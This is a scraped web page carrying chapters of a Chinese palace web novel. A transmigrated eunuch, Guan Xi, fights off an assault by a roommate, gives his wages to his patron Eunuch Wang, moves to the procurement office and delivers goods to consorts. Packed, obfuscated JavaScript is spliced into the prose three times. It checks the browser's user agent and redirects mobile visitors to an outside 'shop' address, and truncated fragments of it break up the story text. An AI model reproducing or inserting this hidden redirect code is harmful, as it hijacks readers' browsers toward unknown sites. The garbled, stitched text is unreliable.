l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892377|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻因剧烈的挣扎和摩擦,隐隐有了些不该有的反应,这更让张旺眼神发红。 “妈的,装什么清高!你这样的,不就是……” 张旺还想用污言秽语打压,同时试图用体重再次压制,但关禧抓住了他分神的瞬间,屈起的膝盖再次狠狠撞向他的小腹。 “唔!”张旺这次痛得弯下了腰。 关禧趁机用力将他从身上掀开,自己也滚落到床下,发出“咚”的一声闷响。他顾不上摔疼的地方,随手抓起旁边小几上那个沉重的,用来压纸张的黄铜镇纸,对着刚从床上爬起还想扑过来的张旺,眼神凶狠得像要杀人,“你再敢碰我一下?!我就砸碎你的脑袋!大不了同归于尽!你看我敢不敢!” 张旺被镇住了。他捂着还在作痛的小腹,看着关禧手里那沉甸甸的凶器,以及他眼中毫不掩饰的杀意,那股邪火瞬间被浇灭了大半,他这才意识到,这个新来的,不是他以为的可以随意拿捏的软柿子。 这时,隔壁铺位的李福和孙河也被这突如其来的动静惊醒了。 李福坐起身,低喝道:“怎么回事?!大半夜闹什么?!” 孙河也窸窸窣窣地坐起来,黑暗中看不清表情。 油灯被李福点亮,昏黄的光线照亮了狭小的直房。只见关禧衣衫不整,头发散乱,脸颊因为愤怒和挣扎泛着不正常的红晕,眼神像刀子一样狠狠剐着张旺。 而张旺则狼狈地站在床铺边,一只手捂着被咬出血痕的手背,脸上还有几道新鲜的血檩子,衣服也被扯得歪斜,神色惊惶不定,眼神躲闪。 这情形,任谁都看得出发生了什么。 李福的脸色沉了下来,“张旺!你干什么?!” 张旺支支吾吾,脸涨得通红,“我……我没……我就是起夜,不小心摔了一跤,碰、碰到他了……” “放你爹的屁!”关禧立刻骂了回去,声音犹带着颤抖,既是后怕也是愤怒,“你摔跤能摔到我身上来?还动手动脚?李哥,他刚才压着我,摸我!还想……还想……”后面的话他实在难以启齿,但通红的眼圈和激愤的神情已经说明了一切。 李福在宫中多年,什么腌賸事没见过,一看这情形便明白了七八分,他厌恶地瞪了张旺一眼,又看了看衣衫凌乱,气得浑身发抖的关禧。关禧那张此刻因愤怒而更添生动艳色的脸,在灯光下确实有种摄人心魄的魅力,也难怪张旺这管不住下半截的会起歪心。只是没想到这小离子看着文静,性子竟如此刚烈泼辣。 “张旺!“李福厉声道,“宫里规矩你都忘了?敢对同僚用强,你是想去慎刑司走一遭吗?!” 听到“慎刑司”三个字,张旺吓得腿一软,噗通一声跪了下来,连连磕头:“李哥!李公公!饶了我这次吧!我……我就是鬼迷心窍!我再也不敢了!求您别声张!小离子,离子哥,对不住!对不住!是我混蛋!”他一边说,一边抽自己耳光。 孙河在一旁低着头,默不作声,仿佛什么都没看见。 关禧胸口剧烈起伏,看着张旺那副丑态,心里一阵阵恶心。这事闹大了对谁都没好处,尤其是在王公公刚刚对他有所赏识的节骨眼上。而且真闹到上面,未必能讨得了好。 李福显然也不想把事情闹大,毕竟是他直房里出的事,他也有管理不严之责。他沉吟片刻,对张旺喝道:“滚回你铺位去!今晚的事,要是敢传出去半个字,我扒了你的皮!明天自己去领十板子,这个月的月钱扣了,赔给小离子压惊!” 张旺如蒙大赦,连滚爬爬地回了自己铺位,缩在角落里不敢再出声。 李福又看向关禧,语气缓和了些:“小离子,你也消消气。张旺已经认罚了,这事……就这么算了。以后夜里惊醒些。”他话里有话,既是安抚,也是提醒。 在这地方,所谓的公道就是这样。 关禧握着冰冷的铜镇纸,胸口剧烈起伏,心脏咚咚咚地跳得像要炸开。他死死地盯着张旺的方向,直到确认他不会再过来,才缓缓松开手,镇纸“哐当”一声掉在地上。 “……谢李哥做主。” 李福点点头,吹熄了油灯:“都睡吧。” 7. 第 7 章 接下来的几天,直房里的气氛压抑得让人喘不过气。 张旺老实了许多,脸上带着伤,眼神躲闪,不敢再正眼看关禧,第二天也自己去找相熟的管事领了十板子,走路都有些一瘸一拐。他那个月的月钱,按照李福的说法,也确实扣下了,只是何时能到关禧手里,还是个未知数。 李福对关禧的态度更疏离了些,公事公办,不多说一句废话。孙河则依旧是那副沉默寡言的样子,仿佛那天夜里的一切从未发生。 关禧也乐得清静。他更加沉默,除了必要的公务交流,几乎不开口,眼神比以往更加锐利,行事也更加谨慎,在这深宫,软弱和退让只会换来更多的欺辱,必须亮出獠牙,哪怕这獠牙微不足道,也要让人知道,他不是任人宰割的羔羊。 身体的恢复在继续,文书房规律清苦的饮食,虽然无法提供充足的营养,但至少让他不再虚弱到无法自保。他开始有意识地锻炼这具身体,在无人注意的清晨或黄昏,偷偷活动手脚,练习发力,哪怕只是最简单的深蹲和俯卧撑,也让他感觉对身体的掌控力在增强。 日子就在这种表面平静,内里紧绷的状态下一天天过去。 这天早上,李福在分配完抄录任务后,难得地多说了几句:“都听着,今日是十五,内务府那边发这个月的月钱。巳时初刻,各自去内务府西侧的广储司值房门口排队领取,核对清楚数目,签押画卯,不得有误。” 月钱! 关禧心中一动。这是他穿越以来,第一次有机会接触到这个时代的货币。虽然知道像他这种低等的太监,月钱必定少得可怜,但这意味着他终于有了一点可以自主支配的资源,哪怕只是一点点。 巳时初刻,关禧跟着李福、张旺、孙河等人,来到了内务府所在的区域。广储司值房门口已经排起了几条不算长的队伍。有像他们一样穿着灰色或青色宦官服的低阶太监,也有一些穿着不同颜色宫装的宫女。 太监和宫女的队伍是分开的,中间隔着一段距离,由不同的司吏负责发放。彼此之间并无交流,甚至连眼神接触都很少,规规矩矩,各自低头排队,偶尔有相熟的太监或宫女会极快地交换一个眼神,或者用几乎看不见的幅度点点头,算是打了招呼。 空气中弥漫着一种压抑的安静,只有司吏唱名,核对,发放铜钱或碎银时发出的细微声响,以及领钱人按指印时窸窸窣窣的声音。 关禧排在自己队伍的末尾,悄悄观察着。 前面的人领到的多是成色不一的碎银子,偶尔有等级高些的,能领到整锭的银锞子。宫女那边情况似乎也差不多,只是数额可能依据等级有所不同。 轮到关禧了。负责发放的司吏头也不抬,翻着名册,唱名:“净身房记名,现文书房行走,小离子。” “小的在。”关禧上前一步,低声道。 司吏从身旁的银盘里拈出两块大小相仿,约莫一两重的碎银,又数了一小串铜钱作为底子钱,一起推到他面前,又指了指旁边的印泥和名册:“月例二两,底子钱一百文,点清楚,在这里按个手印。” 关禧默默拿起那两块冰凉的碎银和那串铜钱。碎银入手微沉,上面有些许刻痕和磨损。这就是他在这个世界立足的第一份资本。 他依言在名册上按下了鲜红的手印。 拿着这二两银子并一百文钱退到一边,关禧心中盘算开来。二两银子,据他模糊了解,足够宫外普通三口之家一两个月嚼用。但在宫内,想要改善生活,打点关系,这点钱却是捉襟见肘。是攒起来以备不时之需,还是赶紧换些实在的东西?比如,买通膳房的小太监,弄点有油水的吃食?或者,买些好点的金疮药,彻底养好旧伤? 正思忖间,他眼角余光瞥见宫女队伍那边似乎起了一点小小的骚动。 一个穿着浅绿色宫装,年纪看起来很小的宫女,正手足无措地站在那里,面前滚落了一小块碎银和几枚铜钱,她急得快哭出来了,小声嗫嚅着:“对、对不起,王司吏,我、我没拿稳……” 发放月钱的司吏皱着眉,不耐烦地呵斥:“毛手毛脚像什么样子!还不快捡起来!” 那小宫女吓得一哆嗦,连忙弯腰去捡。周围其他宫女大多冷漠地看着,无人上前帮忙。 关禧下意识地挪动了一下脚步,又立刻停住了。他现在是太监身份,贸然过去帮忙,不仅不合规矩,可能还会给那个小宫女带来麻烦。 就在这时,一个站在那小宫女身后,穿着淡青色宫装,气质沉稳些的宫女蹲下身,帮着她将散落的银钱一一拾起,放回她手里,低声安慰了一句:“没事了,拿稳些。” 小宫女感激地看了她一眼,连连道谢。 关禧默默收回了目光,将银钱小心地塞进怀里,贴身放好。这微薄的银钱,是他在这深宫中迈出的又一小步。它代表着生存,也提醒着前路的艰难。如何利用好这最初的资本,是他接下来需要仔细思量的问题。 他转身,跟着李福等人,离开了广储司。 刚回到文书房直房没多久,还没等关禧将那两块碎银焐热,门外就响起了小太监略显尖细的通报声:“王公公到——!” 屋子里的人都是一凛。李福立刻放下手中的活计,快步迎到门口,张旺和孙河也赶紧站起身,垂手肃立。关禧心中咯噔一下,也立刻跟着站好,低眉顺眼。 王公公踱着方步走了进来,目光在屋内扫了一圈,最后自然而然地落在了关禧身上,脸上带着惯常看不出深浅的笑容。 “都忙着呢?”王公公尖细的嗓音响起。 “给王公公请安。”李福带头,几人齐声问好。 “嗯。”王公公随意地摆了摆手,视线一直没离开关禧,“小离子,在文书房这儿,还习惯吗?” 关禧上前一步,恭敬地回答:“回公公的话,托公公的福,李哥和各位同僚都多有照应,奴才一切都好,正在努力学着规矩和差事。” “那就好。”王公公点点头,像是随口一提般说道,“今儿个是十五,广储司那边发月钱了吧?领了多少?” 来了,关禧心念电转。王公公绝不是缺他这点月钱的人,他亲自过来,在这个时间点问起这个,用意再明显不过——这是在试探他的心意,看他懂不懂规矩,知不知孝敬,心里有没有他这个引路人。 关禧没有丝毫犹豫,脸上立刻堆起感激又带着点惶恐的笑容,从怀里掏出那还没捂热的两块碎银并那一小串铜钱,双手捧着,恭恭敬敬地举到王公公面前,腰弯得很低: “回公公,刚领了二两月例并一百文底子钱。小的这条命是公公捡回来的,能在文书房当差也是公公恩典。这点微末银钱,本是身外之物,若公公不嫌弃,小的愿尽数孝敬公公,聊表寸心,谢公公再造之恩!” 他这话说得极其漂亮,既点明了自己不忘恩,姿态也放得足够低,将孝敬说成了谢恩,让人挑不出错处。 王公公看着他捧到眼前的银钱,眼中闪过一丝满意的神色。他并没有立刻去接,而是故意停顿了片刻,享受着这种被敬畏,被供奉的感觉。 李福、张旺等人都在一旁看着,眼神复杂。张旺更是低垂着眼,嘴角几不可察地撇了一下,似是嫉妒关禧这攀附的机会,又似不屑他这谄媚的举动。 “呵呵……”王公公终于轻笑出声,伸出保养得宜,戴着个玉扳指的手,用指尖拈起了那两块成色普通的碎银,在手里掂了掂,随意道,“你这孩子,倒是个有心的。罢了,既然是你一片孝心,咱家就收下了。这一百文钱,你自己留着吧,在宫里走动,身上没几个子儿也不方便。” 他只收银子,留下铜钱,既全了自己的面子,显示了他看不上这点小钱,又显得体恤下属,给了关禧一点甜头和活动的空间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892378|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢公公体恤!”关禧立刻顺杆爬,将那一百文钱收回,脸上适当地露出受宠若惊的表情。 王公公将碎银纳入袖中,心情更好了些。他看了看左右,对李福等人道:“你们先出去忙吧,咱家跟小离子说几句话。” “是,公公。”李福应了一声,带着眼神各异的张旺和孙河退了出去,并贴心地带上了房门。 直房里只剩下王公公和关禧两人。 王公公走到桌边,慢悠悠地坐下,关禧赶紧垂手侍立在一旁。 “小离子啊,”王公公端起桌上不知谁喝剩的半杯冷茶,用杯盖拨了拨浮沫,语气变得有些语重心长,“在文书房这儿,虽说清静,能学点东西,但终究……没什么大出息。抄抄写写,能有多大前程?” 正题来了。关禧恭敬地应道:“奴才愚钝,全凭公公指点。” 王公公放下茶杯,看着他:“咱家在内务府派办处当差,虽说比不上司礼监那些大红人,但好歹管着宫内一部分采买,修缮,人事调动的具体事宜,是个实缺,消息也灵通。” 内务府派办处,关禧立刻在脑中调取相关信息。这确实是个有油水,有实权的部门,王公公能在这里当差,哪怕不是最高长官,也绝对是个说得上话的人物,比在典籍司甚至文书房外院要有权势得多。 “你是个伶俐人,记性好,心思也细。”王公公继续道,“在文书房,屈才了。咱家身边,正缺个像你这样机灵,又识文断字,还能帮着整理文书,跑跑腿的贴心人儿。” 他目光落在关禧那张恭顺的脸上,意有所指:“跟着咱家,在派办处当差,虽说名义上可能暂时还是个无品级的长随太监,但接触的人,经手的事,绝非文书房可比。做好了,将来提拔起来也快。总好过在这里,埋没了你这副……好相貌和灵性,是不是?” 关禧的心脏怦怦直跳。机会,这确实是眼前能抓住的最好机会,跟着王公公,进入内务府派办处,意味着他将更接近宫廷运作的实质层面,拥有更多获取信息,结交人脉的可能,也能在一定程度上借助王公公的势力,暂时避开侍寝的风险。 更重要的是,派办处顾名思义,负责宫内部分对外的采买,协调事宜,偶尔是需要派人出宫公干的。虽然这种机会极其稀少,且通常轮不到他这种新人,但毕竟是一条潜在的,能够接触宫外世界的缝隙。只要有机会出宫,哪怕只是看一眼那高墙外的天空,都意味着无限的可能——寻找回归方法的线索,或者……谋划更遥远的未来。 这无异于与虎谋皮,需要更加小心谨慎地周旋,但总比在底层毫无希望地挣扎要强,他立刻躬身,声音带着恰到好处的激动和感激,甚至比刚才更添了几分真切:“小的叩谢公公提携大恩!小的一定尽心竭力,侍奉公公,办好差事,绝不给公公丢脸!公公能给小的这个机会,小的……小的万死难报!” 王公公对他的反应很满意,“嗯,懂事。那就这么定了。回头咱家跟文书房这边打声招呼,你这几天把手头的活计交接一下,就过来派办处找咱家报到。” “是!小的遵命!”关禧再次躬身。 王公公站起身,拍了拍他的肩膀,手指在他瘦削的肩头轻轻按了按,力道暧昧不明:“好好干,咱家不会亏待你的。说不定……将来有什么需要出宫跑腿的琐事,也能让你去见识见识。” 他似乎看穿了关禧内心深处对宫外的渴望,或者说,他习惯于用这种恩威并施的手段,给下属一点盼头,让其更加死心塌地。但无论如何,这明确的话语,无疑是将那丝微光,变成了一道清晰可见的门缝。 说完,他不再多留,转身踱步离开。 “小的……谢公公!”关禧保持着躬身的姿势,直到王公公的脚步声远去,才缓缓直起身,他看着空荡荡的门口,心脏因那“出宫”二字带来的渴望,跳得更加剧烈。 8. 第 8 章 交接文书房的差事并不复杂。 李福公事公办,眼神里多了几分不易察觉的疏远和谨慎。张旺则彻底躲着关禧,偶尔目光撞上,也立刻惊慌地移开。孙河还是那副沉默的样子,只是在关禧收拾自己那点微不足道的行李时,默默递过来一个干净的布包。 “谢谢孙哥。”关禧低声道。 孙河摇了摇头,什么都没说。 离开文书房那天,天气有些阴沉。关禧背着那个小小的包袱,走在通往内务府派办处的宫道上。这条路,比从掖庭到典籍司,到文书房的路,似乎更宽阔些,来往的太监宫女神色也更匆忙,衣着体面许多。 派办处设在内务府衙门旁边的一处独立院落里。比起典籍司的清冷,文书房的刻板,这里明显多了几分烟火气。院门口有小太监守着,进出的人大多步履匆匆,手里或拿着单据,或捧着样品,偶尔还能看到几个穿着宫外服饰的商人模样的人,低着头,恭敬地跟着太监往里走。 关禧通报了姓名和来意,守门的小太监显然已被吩咐过,打量了他一眼,便引着他进去。 院子不小,几排厢房,分别挂着“采买”,“库司”,“工役”,“文书”等牌子。人来人往,算盘珠子的噼啪声,低声交谈声,验看货物的吆喝声混杂在一起,形成一种独特的氛围。 小太监将他引到正对着院门的一间较大的堂屋外,低声道:“王公公就在里面,你自己进去吧。” “有劳了。”关禧深吸一口气,整理了一下衣冠,垂首迈过高高的门槛。 堂屋内,王公公正坐在一张紫檀木大案后,手里拿着一本册子,听着下面一个穿着青色管事太监服的人回话。案几上堆着不少账簿,单据,旁边还站着两个小太监,随时听候吩咐。 关禧安静地走到堂下角落,垂手肃立,不敢打扰。 王公公抬眼瞥了他一下,没说话,继续处理事务。只听得那管事太监在回禀一批新进宫绸的验收情况,数目,成色,有无瑕疵,说得条理清晰。王公公偶尔发问,切中要害,显得精明干练。 关禧默默听着,将这些流程,规矩记在心里。 约莫一炷香后,事务处理完毕,那管事太监和两个小太监行礼退下。王公公这才放下册子,端起手边的盖碗茶,慢悠悠地呷了一口,目光落在关禧身上。 “来了。” “是,公公。小的来向公公报到,听候公公差遣。”关禧上前两步,恭敬行礼。 王公公放下茶碗,打量着他。今日的关禧,换上了一套派办处低等长随太监统一的靛青色棉布袍子,虽然料子普通,但浆洗得干净平整,衬得他肤色愈发白皙,身姿挺拔。因为伤势好转和饮食略有改善,脸颊也丰润了些许,褪去了最初的死气,那份介于少年与少女之间的清俊昳丽,越发凸显出来。 “嗯,精神头不错。”王公公点点头,还算满意,“既然到了派办处,就要守派办处的规矩。咱家这里,不养闲人,也最看重机灵和本分二字。该看的看,不该看的别瞎看;该听的听,不该听的装聋作哑;该问的问,不该问的把嘴闭紧。明白吗?” “小的明白。”关禧应道。这话里的警告意味,他听得懂。 “你初来乍到,先从基础的做起。”王公公指了指外面,“跟着负责文书归档的牛管事,帮着整理、抄录往来单证,熟悉熟悉各处的流程和惯例。手脚勤快些,眼里有活。” “是。” “住的地方,已经给你安排好了,就在后面排房里,跟另外两个小崽子一起。待会儿自有人带你过去。”王公公交代完,便挥挥手,“去吧,找牛管事报到。” “小的告退。”关禧躬身退出了堂屋。 引路的小太监将他带到西厢一间挂着“文书录副”牌子的屋子前。里面一个四十多岁,面容严肃的太监正在核对单据,这便是牛管事。 关禧恭敬地说明了来意。 牛管事抬起眼皮,看了他一眼,没什么表情,指了指角落里一张堆着些旧单据的空桌子:“那是你的位置。先把上个月采买司送来的这些货单按品类和日期重新誊录一遍,字迹要工整,不得有误。规矩自己看墙上贴的。” 墙上贴着一张泛黄的纸,写着文书录副房的各项规矩,包括字体要求,格式,归档方法等等。 “是,牛管事。”关禧走到那张空桌前坐下。桌子有些旧,但擦得干净。他摊开那些杂乱的单据,拿起一支毛笔,蘸了墨,开始按照要求,一笔一画地认真抄录起来。 这是王公公给他的第一个考验。整理单据看似枯燥,却能最快地让他了解派办处的运作,宫内各项用度的品类,价格,来源。这些看似微不足道的信息,或许在某一天,就能成为他有用的筹码。 他必须做好。 * 接下来的日子,关禧便在这派办处安顿下来。他住的地方比文书房的直房条件又好了一些,三人一间,每人有一张属于自己的木板床和一个小柜子,私密性稍好。 同屋的两人,一个叫小柯,在采买司跑腿,性子活络,另一个叫小路,在库司当值,有些沉默。两人对关禧的到来没什么特别表示,保持着井水不犯河水的态度。 关禧每日除了完成牛管事交代的抄录,整理工作,便是在派办处院内默默观察。他记下了各处管事太监的姓名,职责,大致性情,留意着往来人等的身份和交谈的只言片语。他发现派办处确实如王公公所言,消息灵通,不仅关乎宫内用度,有时甚至能听到一些前朝动向的风声。 王公公也没给关禧特殊的关注,仿佛他只是众多下属中普通的一个,但他那双精明的眼睛,时不时会落在他身上,评估着他的表现。 关禧沉住气,不急不躁,将每一份经手的文书都处理得条理清晰,字迹工整。偶尔牛管事忙不过来,他会主动帮忙分摊一些杂事,态度恭顺,手脚麻利。渐渐地,连一向严肃的牛管事,对着他时,脸色也缓和了些许。 这天上午,关禧正在誊录一批瓷器采买的单据,王公公身边的一个小太监过来传话:“小离子,公公让你过去一趟。” 关禧心中一凛,放下笔,整理了一下衣袍,跟着小太监来到王公公的堂屋。 屋内除了王公公,还有一个穿着绸缎常服,微微发福的中年人,看打扮像是宫外的商人,正躬身站着,神色有些紧张。 王公公见关禧进来,对他招招手:“小离子,你过来。这位是锦绣阁的孙掌柜,来送一批新样式的荷包、香囊。你眼神好,帮着看看,针脚、用料如何。” 关禧依言上前。桌上摊开着几十个做工精巧的荷包香囊,用料有绸有缎,刺绣图案各异。这不仅是看货,可能也是一次对他眼力和应对的考校。 他拿起几个,仔细看了看针脚细密程度,绣线颜色搭配,布料质感,又轻轻嗅了嗅香囊的气味。结合之前在典籍司和文书房看到的关于宫内用度等级,妃嫔喜好的零星信息,他心中大致有了判断。 他放下东西,垂首对王公公回道:“回公公,小的粗略看了。这批货品,用料算是中等,针脚也还算匀净。只是……这缠枝莲的纹样,按制似是僭越了些,非低位妃嫔或宫女所能用。还有这几个秋香色、赭石色的,颜色过于沉暗,恐怕不太合宫中贵人们时下的喜好。倒是这几个藕荷、月白、浅绯色的,配色清雅,绣样也新颖,或可入眼。” 他语气平稳,条理清晰,点出了关键,既不过分贬低,也没胡乱吹捧。 王公公还没说话,那孙掌柜先急了,连忙辩解:“公公明鉴!这缠枝莲……是小的一时疏忽,绝无僭越之心!颜色……颜色……” 王公公抬手止住了他的话,脸上露出一丝笑意,看向关禧:“哦?你还懂这些?” “小的不敢说懂。”关禧谦卑道,“只是在文书房时,偶尔抄录过一些内务府关于服制,用度的旧例,又见近日各宫支领物件的单子上,浅色系似乎更受青睐,故而大胆猜测。” 王公公点了点头,对孙掌柜道:“听见了?以后进上的东西,多用些心。这些藕荷、月白的留下,其他的,拿回去改改再说。” 孙掌柜如蒙大赦,连连称是。 孙掌柜退下后,王公公心情颇佳,对关禧道:“没想到,你倒是个留心事的。不错。” “公公谬赞,小的只是尽本分。” “嗯。”王公公沉吟片刻,状似无意地说道,“过两日,有一批从南边运来的时新绸缎和香料要入库,需得派人去皇城外的承运库交接、核对。这活儿……你想去吗?” 皇城外,承运库。 虽然可能只是从皇宫的侧门出去,进入隶属于皇家的外围库区,并未真正踏入民间市井,但这已经是迈出了那堵高墙。 关禧强行压下翻涌的情绪,努力让声音保持平稳,“小的……小的多谢公公信重,小的一定仔细核对,办好差事,绝不负公公所托。” 王公公看着他眼中那难以完全掩饰的亮光,嘴角的笑意深了些。 “好,那就这么定了。回头让牛管事把相关单据和规矩给你,仔细看熟了,可别出了岔子。” “是,小的遵命。” 退出堂屋,走在回文书录副房的路上,关禧感觉自己的脚步都有些发飘。阳光透过廊檐,在他眼前晃动出斑驳的光影。 希望,就像这透过高墙缝隙照进来的光,虽然微弱,却真实地落在了他身上。 他终于,要看到外面的天空了。 * 派办处的节奏明显比典籍司和文书房外院快上许多。空气中弥漫着墨香,算盘珠的噼啪声,以及各类物资特有的气味——新绸缎的浆洗味,干药材的苦香,偶尔还有海外舶来品那奇异浓烈的香料气息。 关禧所在的文书录副房,是整个派办处信息的中转站之一。各类采买单据,入库记录,领用批文,最终都会汇集到这里,进行抄录,归档。牛管事要求严苛,关禧不敢有丝毫懈怠,字迹始终保持着工整清晰,分类归档也做得井井有条。他发现,通过这些看似枯燥的单据,能拼凑出宫内各殿各局用度的偏好,季节性的需求变化,甚至能隐约感受到不同主子受宠程度的起伏——比如,近月来,玉芙宫徐昭容和承华宫冯昭仪处支领的份例和特殊用度,就明显比其他几位低位妃嫔要丰厚和频繁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892379|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >午时,钟声敲响,是短暂的休息和用饭时间。 派办处有自己的小厨房,虽比不上御膳房的精致,但比起净舍和文书房的统一配送,已是天壤之别。至少,粥是稠的,窝头是新鲜的,偶尔还能见到几片油汪汪的肥肉片子或一点绿油油的蔬菜。 关禧领了自己的那份饭食,一碗还算浓稠的小米粥,一个杂面馒头,一小碟咸菜,今天运气好,居然还有一小勺炖得烂熟的豆角。他正寻思着找个角落安静吃完,同屋的小柯端着碗凑了过来。 “离子哥,这儿没人吧?”小柯笑嘻嘻地,不等关禧回答就一屁股坐在了旁边的石凳上。他年纪与关禧相仿,在采买司跑腿,消息灵通,性子活络,是派办处的“包打听”。 “没人,坐吧。”关禧点点头,小口咬着馒头,他对小柯这种自来熟的态度保持着一定的距离,但也不排斥,在派办处,多个消息渠道总不是坏事。 小柯一边唏哩呼噜地喝着粥,一边压低声音道:“离子哥,听说王公公让你去看了锦绣阁的货?行啊你,刚来就能在公公跟前露脸了。” 关禧不动声色:“只是凑巧,公公考校罢了。” “嘿嘿,那也是本事。”小柯眨眨眼,话题一转,“诶,下午我得跑趟腿,去趟玉芙宫和承华宫送东西,真晦气。” “送什么?还得劳你亲自跑一趟?”关禧知道小柯主要在宫外和内务府之间跑动,直接往后宫送东西的机会并不多。 小柯撇撇嘴,用筷子戳着碗里的豆角:“还能是啥?就是锦绣阁送来的那批新样式的荷包香囊呗!王公公挑了些样子新巧的,让和冯昭仪给徐昭容两位娘娘送去瞧瞧,若合眼缘,便留下。这种往主子跟前递东西的活儿,看着是露脸,实则麻烦得很,稍有不慎就得吃挂落。” 关禧了然。原来如此。派办处负责采买,有时一些新奇的,尚未正式列入份例的物品,会先挑选一些送到得宠的妃嫔处试用或赏玩,这既是讨好,也是试探风向。 负责送达的太监,确实需要几分机灵和运气。 “玉芙宫那位,脾气可不大好,你小心些。”关禧想起月华门前的冲突,低声提醒了一句。 “可不是嘛!”小柯苦着脸,“听说徐昭容最近心情欠佳,我这心里正打鼓呢。唉,要是像给冯昭仪送东西那样就好了,冯昭仪性子温和,出手也大方,就算东西不合意,也不会为难我们这些跑腿的。本来是小德子跟我一起去的,好歹有个伴,谁承想……” 他话音未落,就见另一个穿着同样靛青袍子的小太监捂着肚子,脸色煞白,脚步虚浮地挪了过来,额头上全是冷汗。 “小、小柯哥对不住……我、我这肚子……怕是昨儿晚上吃坏了东西,绞着疼……一趟趟跑茅房,腿都软了……”小德子声音虚弱,“这、这去后宫送东西的差事……我、我怕是顶不住了……” 小柯一看他这架势,眉头拧成了疙瘩,又是嫌弃又是着急:“哎呀!你这家伙!早不病晚不病,偏偏赶上这节骨眼!王公公吩咐的差事,耽误了谁担待得起?” 小德子都快哭出来了,捂着肚子弯下腰,哎哟哎哟地呻吟。 小柯急得原地转了个圈,目光在院子里逡巡,忽然瞥见正准备回去继续抄录单据的关禧,眼睛一亮。 “离子哥!”小柯几步窜到关禧面前,脸上堆起讨好的笑容,“离子哥,帮个忙!你看小德子这德行,肯定是去不了了。这往玉芙宫和承华宫送东西,一个人去不合规矩,也容易出错。你……你下午忙不?能不能替小德子跑一趟?” 关禧脚步一顿,心中念头飞转。 去后宫,直面妃嫔?风险不言而喻。 尤其是玉芙宫那位徐昭容,上次的冲突还历历在目。可……这也是一个机会。一个近距离观察两位妃嫔,尤其是那位据说性情温和,协理宫务的冯昭仪的机会。或许能从中窥见一些宫廷人际的脉络,甚至……万一呢?万一能搭上一点关系?总比一直困在派办处整理文书,被动等待王公公那不知何时才会再次施舍的出宫机会要强。 而且,小柯在派办处人面熟,让他欠个人情,以后打听消息也方便。 见他沉吟,小柯连忙加码:“离子哥,你放心!就是送个东西,递到各宫管事宫女手里就行,运气好连主子的面都见不着!冯昭仪那边肯定没事,徐昭容那儿……咱们小心点,送了就走!完事儿了,我这个月的底子钱分你一半……不,全给你!” 关禧抬眼,看着小柯急切的脸,又瞥了一眼还在哼哼唧唧的小德子,终于点了点头,声音平静:“钱就不必了。同处当差,互相帮衬是应该的。我回去跟牛管事说一声,把手头的活计放一放。” 小柯大喜过望,连连作揖:“哎哟!谢谢离子哥!你可救了我了!回头我请你吃好的!” 关禧转身去找牛管事告假。 牛管事听闻是顶替去后宫送东西,抬眼皮看了他一眼,没多说什么,只淡淡嘱咐了一句:“规矩点,别惹事。”便准了。 片刻后,关禧和小柯各自提着一个精致的多层提篮,里面分门别类放着王公公挑出来的荷包香囊,走出了派办处的院子。 9. 第 9 章 阳光正好,洒在朱红宫墙上,晃得人有些眼花。 关禧提着沉甸甸的提篮,跟在小柯身后,走在通往东西六宫的宫道上。脚下的青石板被晒得微微发烫,空气里弥漫着夏日草木蒸腾出略带苦涩的芬芳,与他平日所处的那些充斥着墨臭和算盘声的角落截然不同。 越靠近后宫区域,巡逻的侍卫和来往的宫女太监便越多,规矩也越发森严。小柯显然常走这条路,熟门熟路,遇到品阶高的太监或女官,便提前停下脚步,躬身避让,态度恭谨。 “离子哥,前面岔路口,右边是去玉芙宫,左边是承华宫。”小柯压低声音,指了指方向,“咱们先去玉芙宫?早点送完徐昭容那儿,早点安心。” 关禧自然没有异议。他深吸一口气,努力平复有些加快的心跳,掌心因为提着篮子和一丝不易察觉的紧张,沁出了薄汗。 玉芙宫坐落在一片精心打理的花木之中,宫门华丽,檐角挂着精致的铜铃,微风拂过,叮咚作响,更显幽。 守门的太监验看了他们的腰牌和提篮里的物件,又进去通传了一声,才放他们进去,在殿外廊下等候。 不一会儿,一个穿着淡粉色宫装,眉眼间带着几分傲气的大宫女走了出来,目光在关禧和小柯身上扫过,尤其在关禧脸上停留了一瞬,闪过一丝讶异,随即恢复了冷淡。 “东西呢?王公公费心了。”宫女的声音不高不低,带着程式化的客气。 小柯连忙上前,将属于玉芙宫的那一层提篮恭敬地递上,赔着笑脸:“劳烦姐姐。这是王公公特意挑选的一些时新花样,请昭容娘娘赏玩。” 那宫女接过,随手翻开看了看,指尖在几个浅色的荷包上划过,不置可否地“嗯”了一声。 恰在此时,正殿内传来一声瓷器清脆的碎裂声,伴随着徐宛白娇叱:“没用的东西!连盆花都伺候不好!拉出去!” 一个穿着绿色宫装的小宫女哭着被两个太监拖了出来,脸色惨白。 廊下的气氛瞬间凝滞。那粉衣宫女眉头微蹙,显然对此习以为常,只对关禧和小柯挥挥手,“东西送到了,你们可以走了。” 小柯如蒙大赦,连声道:“是是是,小的告退。”拉着关禧就想走。 关禧垂下眼睫,正准备转身,眼角余光却瞥见那被拖走的小宫女绝望的眼神,以及地上碎裂的青瓷花盆和那株奄奄一息开着淡紫色小花的植物。 他脚步顿了一下。 